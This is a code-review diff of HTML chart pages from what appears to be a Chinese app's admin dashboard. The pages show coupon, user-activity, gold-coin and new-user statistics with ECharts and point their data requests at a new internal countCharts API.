| | | myChart = echarts.init(document.getElementById('main')); |
| | | |
| | | myChart.resize({ height: this.autoHeight});
|
| | | myChart.resize({ width: this.autoWidth}); |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 时间初始化为前十天 |
New file |
| | |
| | | <!DOCTYPE html>
|
| | | <html>
|
| | | <head>
|
| | | <meta charset="utf-8">
|
| | | <meta charset="utf-8">
|
| | | <title>用户数据</title>
|
| | | <meta name="renderer" content="webkit">
|
| | | <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
| | | <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css" />
|
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../js/jquery.min.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | |
|
| | | <script type="text/javascript">
|
| | | doui.importLoad({
|
| | | importArray: [
|
| | | // 雷打不动
|
| | | //getHostPath() + "js/jquery.min.js",
|
| | | getHostPath() + "js/vue.min.js",
|
| | | // 字体图标
|
| | | getHostPath() + "fontAdmin/iconfont.css",
|
| | | getHostPath() + "font/iconfont.css",
|
| | | // // dom模板
|
| | | getHostPath() + "css/admin-all.css",
|
| | | getHostPath() + "js/admin-creat.js",
|
| | | ],
|
| | | });
|
| | | </script>
|
| | |
|
| | | <style type="text/css">
|
| | |
|
| | | </style>
|
| | |
|
| | | </head>
|
| | | <body>
|
| | | <div class="layui-tab layui-tab-brief" lay-filter="tabBrief">
|
| | | <ul class="layui-tab-title">
|
| | | <li class="layui-this" lay-id="t1">免单券</li>
|
| | | <li lay-id="t2">赠送免单券</li>
|
| | | </ul>
|
| | | <div class="layui-tab-content" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <div class="layui-tab-item layui-show" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t1" align="center" width="100%" height="100%" datasrc="free_count.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | <div class="layui-tab-item" style="position: absolute; top: 36px; bottom: 0px; width: 100%; padding: 0px; overflow: hidden;">
|
| | | <iframe tab-id="t2" align="center" width="100%" height="100%" datasrc="free_give_count.html" frameborder="no" border="0"
|
| | | marginwidth="0" marginheight="0" scrolling="no"></iframe>
|
| | | </div>
|
| | | </div>
|
| | | </div>
|
| | | </body>
|
| | | </html>
|
| | | <script type="text/javascript">
|
| | | layui.use('element', function() {
|
| | | var element = layui.element;
|
| | | element.on('tab(tabBrief)', function() {
|
| | | for (var i = 0; i < $('iframe').length; i++) {
|
| | | var id = this.getAttribute('lay-id');
|
| | | if ($('iframe').eq(i).attr('tab-id') == id) {
|
| | | var src = $('iframe').eq(i).attr("src");
|
| | | if (src == null || src == '' || src.length == 0) {
|
| | | $('iframe').eq(i).attr("src", $('iframe').eq(i).attr("datasrc"));
|
| | | }
|
| | | }
|
| | | };
|
| | | });
|
| | | element.tabChange('tabBrief', "t1");
|
| | | });
|
| | | </script> |
File was renamed from childPath/charts/prize/jiangLiMoney.html |
| | |
| | | <meta charset="UTF-8"> |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>奖励券-金额</title> |
| | | <title>赠送免单券</title> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/> |
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | |
| | | // 图标设置 |
| | | var option = { |
| | | // 表格标题 |
| | | title: { text: '奖励券-奖励金额' }, |
| | | title: { text: '' }, |
| | | // 坐标系 |
| | | grid: { show: true }, |
| | | // 提示框 |
| | |
| | | }, |
| | | // Y轴 |
| | | yAxis: { |
| | | name: "金额", |
| | | name: "结果", |
| | | type: 'value', |
| | | axisLabel: { formatter: '{value} 元' }, |
| | | axisLabel: { formatter: '{value} ' }, |
| | | axisPointer: { snap: true } |
| | | }, |
| | | // 数据 |
| | |
| | | el: "#thisHeader", |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/userCoupon/getRebateCouponMoneyCharts"; |
| | | // 请求地址
|
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getCouponCharts";
|
| | | |
| | | // 请求数据 |
| | | var mydata = { |
| | | dateType: optC.select.result, |
| | | }; |
| | | dateType: optC.select.result,
|
| | | };
|
| | | mydata.typeArray =["freeCouponGiveNum"];
|
| | | |
| | | // 根据选择修改 |
| | | if (mydata.dateType == "1") |
| | | { |
| | | if (mydata.dateType == "1") { |
| | | mydata.startTime = optC.input[0].result; // 开始时间 |
| | | mydata.endTime = optC.input[1]?optC.input[1].result:""; // 结束时间 |
| | | } |
| | | if (mydata.dateType == "2") |
| | | { |
| | | }
|
| | | |
| | | if (mydata.dateType == "2") { |
| | | mydata.year = optC.input[0].result; // 年份 |
| | | } |
| | | }
|
| | | |
| | | // 数据请求 |
| | | doui.showLoading("加载数据"); |
| | | doui.request({ |
| | |
| | | }); |
| | | // 输入搜索 |
| | | adminDom.header.input({ num: 2, type: "date", }); |
| | | |
| | | |
| | | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
| | | myChart = echarts.init(document.getElementById('main')); |
| | | |
| | | myChart.resize({ height: this.autoHeight});
|
| | | myChart.resize({ width: this.autoWidth}); |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 时间初始化为前十天 |
File was renamed from childPath/charts/prize/mianDanMoney.html |
| | |
| | | <meta charset="UTF-8"> |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>免单券-金额</title> |
| | | <title>奖励券-数量</title> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/> |
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | |
| | | // 图标设置 |
| | | var option = { |
| | | // 表格标题 |
| | | title: { text: '免单券-免单金额' }, |
| | | title: { text: '数量/金额' }, |
| | | // 坐标系 |
| | | grid: { show: true }, |
| | | // 提示框 |
| | |
| | | }, |
| | | // Y轴 |
| | | yAxis: { |
| | | name: "金额", |
| | | name: "累计", |
| | | type: 'value', |
| | | axisLabel: { formatter: '{value} 元' }, |
| | | axisLabel: { formatter: '{value}' }, |
| | | axisPointer: { snap: true } |
| | | }, |
| | | // 数据 |
| | |
| | | el: "#thisHeader", |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/userCoupon/getFreeCouponMoneyCharts"; |
| | | // 请求数据 |
| | | var mydata = { |
| | | dateType: optC.select.result, |
| | | coupon: optC.change.result, |
| | | }; |
| | | // 请求地址
|
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getCouponCharts";
|
| | | |
| | | // 请求数据
|
| | | var mydata = {
|
| | | dateType: optC.select.result,
|
| | | };
|
| | | |
| | | if (optC.change.result == 1){
|
| | | mydata.typeArray =["rebateCouponNum"];
|
| | | } else {
|
| | | mydata.typeArray =["rebateCouponMoney"];
|
| | | }
|
| | | |
| | | // 根据选择修改 |
| | | if (mydata.dateType == "1") |
| | | { |
| | |
| | | } |
| | | }); |
| | | } |
| | | }); |
| | | });
|
| | | |
| | | // 切换
|
| | | adminDom.header.change({
|
| | | show: true,
|
| | | list: [
|
| | | { key: 1, value: "数量" },
|
| | | { key: 2, value: "金额" },
|
| | | ],
|
| | | });
|
| | | |
| | | // 下拉框 |
| | | adminDom.header.select({ |
| | | show: true, |
| | |
| | | } |
| | | }); |
| | | // 输入搜索 |
| | | adminDom.header.input({ num: 2, type: "date", }); |
| | | // 下拉框 |
| | | adminDom.header.change({ |
| | | show: true, |
| | | list: [ |
| | | { "key": "1", value: "免单券 " }, |
| | | { "key": "2", value: "福利免单券" }, |
| | | { "key": "3", value: "自购免单券" }, |
| | | ], |
| | | }); |
| | | |
| | | adminDom.header.input({ num: 2, type: "date", });
|
| | | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
| | | myChart = echarts.init(document.getElementById('main')); |
| | | |
| | | myChart.resize({ height: this.autoHeight});
|
| | | myChart.resize({ width: this.autoWidth}); |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 时间初始化为前十天 |
File was renamed from childPath/charts/user/90dayActive.html |
| | |
| | | <title>活跃-数量</title> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/> |
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | getHostPath() + "css/admin-all.css", |
| | | getHostPath() + "js/admin-creat.js", |
| | | // Echarts插件 |
| | | getHostPath() + "childPath/charts/echarts.common.min.js", |
| | | getHostPath() + "childPath/charts/echarts.common.min.js",
|
| | | |
| | | // 弹框说明
|
| | | getHostPath() + "js/confirmTrans.js", |
| | | ], |
| | | }); |
| | | </script> |
| | |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/user/getUserActiveCharts"; |
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getUserCharts"; |
| | | // 请求数据 |
| | | var mydata = { |
| | | var mydata = {
|
| | | dateType: optC.select.result, |
| | | }; |
| | | };
|
| | | mydata.typeArray = ["activeAgain90"];
|
| | | |
| | | // 根据选择修改 |
| | | if (mydata.dateType == "1") |
| | | { |
| | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
| | | myChart = echarts.init(document.getElementById('main')); |
| | | |
| | | |
| | | myChart.resize({ height: this.autoHeight});
|
| | | myChart.resize({ width: this.autoWidth});
|
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 时间初始化为前十天 |
| | | initInputGet(); |
| | |
| | | vm_header.input.result[1] = commonEnd; |
| | | } |
| | | |
| | | |
| | | setTimeout(function() {
|
| | | var html = "<div style='margin:0px 0px 0px 20px;'><button type='button' id = 'explain' class='layui-btn layui-btn-xs'>统计说明</button></div>";
|
| | | $(".flex1").eq(0).append(html);
|
| | | |
| | | $("#explain").bind("click",function(){
|
| | | var text = "统计超过90天未活跃用户,在90天之后的某天再次活跃人数;";
|
| | | explainCount(text);
|
| | | });
|
| | | }, 1000); |
| | | </script> |
New file |
| | |
| | | <!DOCTYPE html>
|
| | | <html>
|
| | |
|
| | | <head>
|
| | | <meta charset="UTF-8">
|
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1" />
|
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
|
| | | <title>用户-下单积极性</title>
|
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css" />
|
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | file:///E:/workSpace/H5/flqAdmin/
|
| | | <script type="text/javascript">
|
| | | doui.importLoad({
|
| | | importArray: [
|
| | | // 雷打不动
|
| | | getHostPath() + "js/jquery.min.js",
|
| | | getHostPath() + "js/vue.min.js",
|
| | | // 字体图标
|
| | | getHostPath() + "fontAdmin/iconfont.css",
|
| | | getHostPath() + "font/iconfont.css",
|
| | | // dom模板
|
| | | getHostPath() + "css/admin-all.css",
|
| | | getHostPath() + "js/admin-creat.js",
|
| | | // Echarts插件
|
| | | getHostPath() + "childPath/charts/echarts.common.min.js",
|
| | | |
| | | getHostPath() + "js/confirmTrans.js",
|
| | | ],
|
| | | });
|
| | | </script>
|
| | | </head>
|
| | |
|
| | | <body class="fontPC">
|
| | | <div id="allwai" class="winSizeBox bg-white">
|
| | |
|
| | | <!-- =============================================================== 搜索筛选(顶部) -->
|
| | | <div id="thisHeader" style="width:7.5rem;"></div>
|
| | |
|
| | | <!-- =============================================================== 表格 -->
|
| | | <div id="thisTable" class="admin-main-overHeader">
|
| | | <!--图表外层-->
|
| | | <div id="main" style="width:100%; height:100%; padding:20px;"></div>
|
| | | </div>
|
| | |
|
| | | </div>
|
| | | </body>
|
| | |
|
| | | </html>
|
| | |
|
| | |
|
| | | <script type="text/javascript">
|
| | | // 图表申明
|
| | | var myChart = null;
|
| | | // 图标设置
|
| | | var option = {
|
| | | // 表格标题
|
| | | title: {
|
| | | text: '用户-下单积极性'
|
| | | },
|
| | | // 坐标系
|
| | | grid: {
|
| | | show: true
|
| | | },
|
| | | // 提示框
|
| | | tooltip: {
|
| | | trigger: 'axis',
|
| | | axisPointer: {
|
| | | type: 'cross'
|
| | | }
|
| | | },
|
| | | // 提供下载为图
|
| | | toolbox: {
|
| | | feature: {
|
| | | saveAsImage: {}
|
| | | }
|
| | | },
|
| | | // 图例项
|
| | | legend: {
|
| | | data: []
|
| | | }, // 需要接口获取
|
| | | // X轴
|
| | | xAxis: {
|
| | | name: "时间",
|
| | | type: 'category',
|
| | | boundaryGap: false,
|
| | | data: [], // 需要接口获取
|
| | | },
|
| | | // Y轴
|
| | | yAxis: {
|
| | | name: "比率",
|
| | | type: 'value',
|
| | | axisLabel: {
|
| | | formatter: '{value} %'
|
| | | },
|
| | | axisPointer: {
|
| | | snap: true
|
| | | }
|
| | | },
|
| | | // 数据
|
| | | series: [], // 需要接口获取
|
| | | };
|
| | |
|
| | | // vue实例化
|
| | | doui.onReady({
|
| | | success: function() {
|
| | | // ----------------------------------------------------- 顶部
|
| | | // 生成顶部筛选项dom
|
| | | adminDom.header.creat({
|
| | | el: "#thisHeader",
|
| | | touchSearch: function(optC) {
|
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getUserCharts";
|
| | |
|
| | | // 请求数据
|
| | | var mydata = {
|
| | | dateType: optC.select.result,
|
| | | channelArray: optC.screen[0].result, // 平台名称
|
| | | };
|
| | |
|
| | | if (optC.change.result == 1) {
|
| | | mydata.typeArray = ["newUserDownOrderDay"];
|
| | | } else if (optC.change.result == 2) {
|
| | | mydata.typeArray = ["newUserDownOrderWeek"];
|
| | | } else {
|
| | | mydata.typeArray = ["newUserDownOrderWeek3"];
|
| | | }
|
| | |
|
| | |
|
| | | // 根据选择修改
|
| | | if (mydata.dateType == "1") {
|
| | | mydata.startTime = optC.input[0].result; // 开始时间
|
| | | mydata.endTime = optC.input[1] ? optC.input[1].result : ""; // 结束时间
|
| | | }
|
| | | if (mydata.dateType == "2") {
|
| | | mydata.year = optC.input[0].result; // 年份
|
| | | }
|
| | | // 数据请求
|
| | | doui.showLoading("加载数据");
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: myurl,
|
| | | data: mydata,
|
| | | success: function(res) {
|
| | | doui.hideLoading();
|
| | | if (res.code != 0) {
|
| | | doui.showToast(res.msg);
|
| | | } else {
|
| | | // 图例选择
|
| | | var legendData = new Array();
|
| | | // 分析数据
|
| | | for (var i = 0; i < res.data.line_list.length; i++) {
|
| | | legendData.push(res.data.line_list[i].name);
|
| | | res.data.line_list[i].type = "line"; // 线条样式
|
| | | res.data.line_list[i].smooth = true; // 线条平滑
|
| | | res.data.line_list[i].stack = '总量'; // 数据堆叠
|
| | | }
|
| | | // 图表赋值
|
| | | option.legend.data = legendData; // 图例项
|
| | | option.xAxis.data = res.data.xAxis_list; // X轴数据
|
| | | option.series = res.data.line_list; // 线条数据
|
| | | myChart.setOption(option, true);
|
| | | }
|
| | | }
|
| | | });
|
| | | }
|
| | | });
|
| | | // 下拉框
|
| | | adminDom.header.select({
|
| | | show: true,
|
| | | list: [{
|
| | | "key": "1",
|
| | | value: "日视图"
|
| | | },
|
| | | {
|
| | | "key": "2",
|
| | | value: "月视图"
|
| | | },
|
| | | {
|
| | | "key": "3",
|
| | | value: "年视图"
|
| | | },
|
| | | ],
|
| | | touch: function(back) {
|
| | | // 日视图
|
| | | if (back == "1") {
|
| | | adminDom.header.input({
|
| | | num: 2,
|
| | | type: "date",
|
| | | });
|
| | | }
|
| | | // 月视图
|
| | | else if (back == "2") {
|
| | | adminDom.header.input({
|
| | | num: 1,
|
| | | type: "number",
|
| | | placeholder: "要查看的年份,如:2018"
|
| | | });
|
| | | }
|
| | | // 年视图
|
| | | else if (back == "3") {
|
| | | adminDom.header.input({
|
| | | num: 1,
|
| | | type: "number",
|
| | | placeholder: "该模式下无需输入"
|
| | | });
|
| | | }
|
| | | }
|
| | | });
|
| | | // 输入搜索
|
| | | adminDom.header.input({
|
| | | num: 2,
|
| | | type: "date",
|
| | | });
|
| | | // 切换
|
| | | adminDom.header.change({
|
| | | show: true,
|
| | | list: [{
|
| | | key: 1,
|
| | | value: "当日下单"
|
| | | },
|
| | | {
|
| | | key: 2,
|
| | | value: "当周下单"
|
| | | },
|
| | | {
|
| | | key: 3,
|
| | | value: "当周下过3单"
|
| | | }
|
| | | ],
|
| | | });
|
| | | // 筛选项
|
| | | adminDom.header.screen({
|
| | | show: true,
|
| | | list: [{
|
| | | title: "下载平台",
|
| | | muchCheck: true, // 是否可以多选
|
| | | child: [{
|
| | | key: ["p360"],
|
| | | value: "360",
|
| | | check: false
|
| | | },
|
| | | {
|
| | | key: ["appstore"],
|
| | | value: "appstore",
|
| | | check: true
|
| | | },
|
| | | {
|
| | | key: ["douyin"],
|
| | | value: "官网",
|
| | | check: true
|
| | | },
|
| | | {
|
| | | key: ["guanwang"],
|
| | | value: "华为",
|
| | | check: true
|
| | | },
|
| | | {
|
| | | key: ["meizu"],
|
| | | value: "魅族",
|
| | | check: true
|
| | | },
|
| | | {
|
| | | key: ["oppo"],
|
| | | value: "oppo",
|
| | | check: true
|
| | | },
|
| | | {
|
| | | key: ["pp"],
|
| | | value: "PP",
|
| | | check: false
|
| | | },
|
| | | {
|
| | | key: ["qq"],
|
| | | value: "腾讯应用宝",
|
| | | check: true
|
| | | },
|
| | | {
|
| | | key: ["sougou"],
|
| | | value: "搜狗",
|
| | | check: false
|
| | | },
|
| | | {
|
| | | key: ["vivo"],
|
| | | value: "vivo",
|
| | | check: true
|
| | | },
|
| | | {
|
| | | key: ["xiaomi"],
|
| | | value: "小米",
|
| | | check: true
|
| | | },
|
| | | {
|
| | | key: ["yaoqing"],
|
| | | value: "邀请赚",
|
| | | check: false
|
| | | },
|
| | | {
|
| | | key: ["yingyin"],
|
| | | value: "影音",
|
| | | check: false
|
| | | },
|
| | | {
|
| | | key: ["huawei"],
|
| | | value: "抖音",
|
| | | check: false
|
| | | },
|
| | | {
|
| | | key: ["lenovo"],
|
| | | value: "联想",
|
| | | check: false
|
| | | },
|
| | | {
|
| | | key: ["unknown"],
|
| | | value: "其他",
|
| | | check: false
|
| | | },
|
| | | ],
|
| | | input: {
|
| | | type: "number",
|
| | | num: 0
|
| | | },
|
| | | }, ],
|
| | | });
|
| | |
|
| | | // ----------------------------------------------------- 图标处
|
| | | // Echarts初始化
|
| | | myChart = echarts.init(document.getElementById('main'));
|
| | | myChart.resize({
|
| | | height: this.autoHeight
|
| | | });
|
| | | myChart.resize({
|
| | | width: this.autoWidth
|
| | | });
|
| | |
|
| | | // ----------------------------------------------------- 初始行为
|
| | | // 时间初始化为前十天
|
| | | initInputGet();
|
| | | // 请求数据
|
| | | vm_header.search();
|
| | | }
|
| | | });
|
| | |
|
| | |
|
| | | // 初始化为最近10天
|
| | | function initInputGet() {
|
| | | // 获取当前时间戳
|
| | | var timestampEnd = new Date().getTime() - (1000 * 60 * 60 * 24 * 1);
|
| | | var timestampStart = timestampEnd - (1000 * 60 * 60 * 24 * 11);
|
| | | // 开始时间转化为识别类型
|
| | | var mo = new Date(timestampStart);
|
| | | var month = mo.getMonth() + 1;
|
| | | if (month < 10) {
|
| | | month = "0" + month;
|
| | | }
|
| | | var day = mo.getDate();
|
| | | if (day < 10) {
|
| | | day = "0" + day;
|
| | | }
|
| | | var commonStart = mo.getFullYear() + "-" + month + "-" + day;
|
| | | // 结束时间转化为识别类型
|
| | | mo = new Date(timestampEnd);
|
| | | month = mo.getMonth() + 1;
|
| | | if (month < 10) {
|
| | | month = "0" + month;
|
| | | }
|
| | | day = mo.getDate();
|
| | | if (day < 10) {
|
| | | day = "0" + day;
|
| | | }
|
| | | var commonEnd = mo.getFullYear() + "-" + month + "-" + day;
|
| | | // 将输入初始化
|
| | | vm_header.input.result[0] = commonStart;
|
| | | vm_header.input.result[1] = commonEnd;
|
| | | }
|
| | |
|
| | |
|
| | | setTimeout(function() {
|
| | | var html = "<div style='margin:0px 0px 0px 20px;'><button type='button' id = 'explain' class='layui-btn layui-btn-xs'>统计说明</button></div>";
|
| | | $(".flex1").eq(0).append(html);
|
| | | |
| | | $("#explain").bind("click",function(){
|
| | | var text = "比率计算:</br>vivo渠道新增100人,其中下单50人,</br>比率等于50/100";
|
| | | explainCount(text);
|
| | | });
|
| | | }, 1000);
|
| | | </script> |
copy from childPath/charts/prize/jiangLiMoney.html
copy to childPath/charts/user/gold_coin_charts.html
File was copied from childPath/charts/prize/jiangLiMoney.html |
| | |
| | | <meta charset="UTF-8"> |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1"/> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>奖励券-金额</title> |
| | | <title>金币数据</title> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/> |
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | |
| | | </head> |
| | | |
| | | <body class="fontPC"> |
| | | <div class="winSizeBox bg-white"> |
| | | <div id="allwai" class="winSizeBox bg-white"> |
| | | |
| | | <!-- =============================================================== 搜索筛选(顶部) --> |
| | | <div id="thisHeader" style="width:7.5rem;"></div> |
| | |
| | | // 图标设置 |
| | | var option = { |
| | | // 表格标题 |
| | | title: { text: '奖励券-奖励金额' }, |
| | | title: { text: '金币新增' }, |
| | | // 坐标系 |
| | | grid: { show: true }, |
| | | // 提示框 |
| | |
| | | }, |
| | | // Y轴 |
| | | yAxis: { |
| | | name: "金额", |
| | | name: "数量", |
| | | type: 'value', |
| | | axisLabel: { formatter: '{value} 元' }, |
| | | axisLabel: { formatter: '{value} 枚' }, |
| | | axisPointer: { snap: true } |
| | | }, |
| | | // 数据 |
| | |
| | | el: "#thisHeader", |
| | | touchSearch: function (optC) |
| | | { |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/userCoupon/getRebateCouponMoneyCharts"; |
| | | // 请求数据 |
| | | var mydata = { |
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getUserCharts";
|
| | | |
| | | var mydata = {
|
| | | dateType: optC.select.result, |
| | | }; |
| | | };
|
| | | |
| | | mydata.typeArray = ["integralNum"];
|
| | | |
| | | // 根据选择修改 |
| | | if (mydata.dateType == "1") |
| | | { |
| | | if (mydata.dateType == "1") { |
| | | mydata.startTime = optC.input[0].result; // 开始时间 |
| | | mydata.endTime = optC.input[1]?optC.input[1].result:""; // 结束时间 |
| | | } |
| | | if (mydata.dateType == "2") |
| | | { |
| | | }
|
| | | |
| | | if (mydata.dateType == "2") { |
| | | mydata.year = optC.input[0].result; // 年份 |
| | | } |
| | | }
|
| | | |
| | | // 数据请求 |
| | | doui.showLoading("加载数据"); |
| | | doui.request({ |
| | |
| | | // 输入搜索 |
| | | adminDom.header.input({ num: 2, type: "date", }); |
| | | |
| | | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
| | | myChart = echarts.init(document.getElementById('main')); |
| | | |
| | | myChart.resize({ height: this.autoHeight});
|
| | | myChart.resize({ width: this.autoWidth}); |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 时间初始化为前十天 |
File was renamed from childPath/charts/user/newAdd.html |
| | |
| | | <title>用户-新增</title> |
| | | <link rel="stylesheet" type="text/css" href="../../../css/doui.min.css"/> |
| | | <script src="../../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <link rel="stylesheet" type="text/css" href="../../../layui/css/layui.css" />
|
| | | <script src="../../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | getHostPath() + "css/admin-all.css", |
| | | getHostPath() + "js/admin-creat.js", |
| | | // Echarts插件 |
| | | getHostPath() + "childPath/charts/echarts.common.min.js", |
| | | getHostPath() + "childPath/charts/echarts.common.min.js",
|
| | | |
| | | getHostPath() + "js/confirmTrans.js", |
| | | ], |
| | | }); |
| | | </script> |
| | |
| | | adminDom.header.creat({ |
| | | el: "#thisHeader", |
| | | touchSearch: function (optC) |
| | | { |
| | | {
|
| | | var myurl = gethttp() + "/admin/new/api/v1/countCharts/getUserCharts";
|
| | | |
| | | // 请求数据 |
| | | var mydata = { |
| | | var mydata = {
|
| | | dateType: optC.select.result, |
| | | channelArray: optC.screen[0].result, // 平台名称 |
| | | }; |
| | | channelArray: optC.screen[0].result, // 平台名称
|
| | | };
|
| | | |
| | | mydata.typeArray = ["newUserChannel"];
|
| | | |
| | | if (optC.change.result == 1) {
|
| | | mydata.channelArray = ""; // 总计
|
| | | }
|
| | | |
| | | // 根据选择修改 |
| | | if (mydata.dateType == "1") |
| | | { |
| | |
| | | doui.showLoading("加载数据"); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/user/getNewUserCharts", |
| | | url: myurl, |
| | | data: mydata, |
| | | success: function (res) |
| | | { |
| | |
| | | } |
| | | }); |
| | | // 输入搜索 |
| | | adminDom.header.input({ num: 2, type: "date", }); |
| | | adminDom.header.input({ num: 2, type: "date", });
|
| | | |
| | | // 切换
|
| | | adminDom.header.change({
|
| | | show: true,
|
| | | list: [
|
| | | { key: 1, value: "总计" },
|
| | | { key: 2, value: "分渠道" },
|
| | | ],
|
| | | });
|
| | | |
| | | // 筛选项 |
| | | adminDom.header.screen({ |
| | | show: true, |
| | |
| | | title: "下载平台", |
| | | muchCheck: true, // 是否可以多选 |
| | | child: [ |
| | | { key: ["360"], value: "360", check: false }, |
| | | { key: ["p360"], value: "360", check: false }, |
| | | { key: ["appstore"], value: "appstore", check: true }, |
| | | { key: ["GuanWang"], value: "官网", check: true }, |
| | | { key: ["huawei"], value: "华为", check: true }, |
| | | { key: ["douyin"], value: "官网", check: true }, |
| | | { key: ["guanwang"], value: "华为", check: true }, |
| | | { key: ["meizu"], value: "魅族", check: true }, |
| | | { key: ["OPPO"], value: "oppo", check: true }, |
| | | { key: ["PP"], value: "PP", check: false }, |
| | | { key: ["QQ"], value: "腾讯应用宝", check: true }, |
| | | { key: ["Sougou"], value: "搜狗", check: false }, |
| | | { key: ["VIVO"], value: "vivo", check: true }, |
| | | { key: ["oppo"], value: "oppo", check: true }, |
| | | { key: ["pp"], value: "PP", check: false }, |
| | | { key: ["qq"], value: "腾讯应用宝", check: true }, |
| | | { key: ["sougou"], value: "搜狗", check: false }, |
| | | { key: ["vivo"], value: "vivo", check: true }, |
| | | { key: ["xiaomi"], value: "小米", check: true }, |
| | | { key: ["yaoqing"], value: "邀请赚", check: false }, |
| | | { key: ["Yingyin"], value: "影音", check: false }, |
| | | { key: ["douyin"], value: "抖音", check: false }, |
| | | { key: ["yingyin"], value: "影音", check: false }, |
| | | { key: ["huawei"], value: "抖音", check: false },
|
| | | { key: ["lenovo"], value: "联想", check: false },
|
| | | { key: ["unknown"], value: "其他", check: false }, |
| | | ], |
| | | input: { type: "number", num: 0 }, |
| | | }, |
| | |
| | | // ----------------------------------------------------- 图标处 |
| | | // Echarts初始化 |
| | | myChart = echarts.init(document.getElementById('main')); |
| | | |
| | | myChart.resize({ height: this.autoHeight});
|
| | | myChart.resize({ width: this.autoWidth}); |
| | | |
| | | // ----------------------------------------------------- 初始行为 |
| | | // 时间初始化为前十天 |
| | |
| | | vm_header.input.result[0] = commonStart; |
| | | vm_header.input.result[1] = commonEnd; |
| | | } |
| | | |
| | | |
| | | |
| | | setTimeout(function() {
|
| | | var html = "<div style='margin:0px 0px 0px 20px;'><button type='button' id = 'explain' class='layui-btn layui-btn-xs'>统计说明</button></div>";
|
| | | $(".flex1").eq(0).append(html);
|
| | | |
| | | $("#explain").bind("click",function(){
|
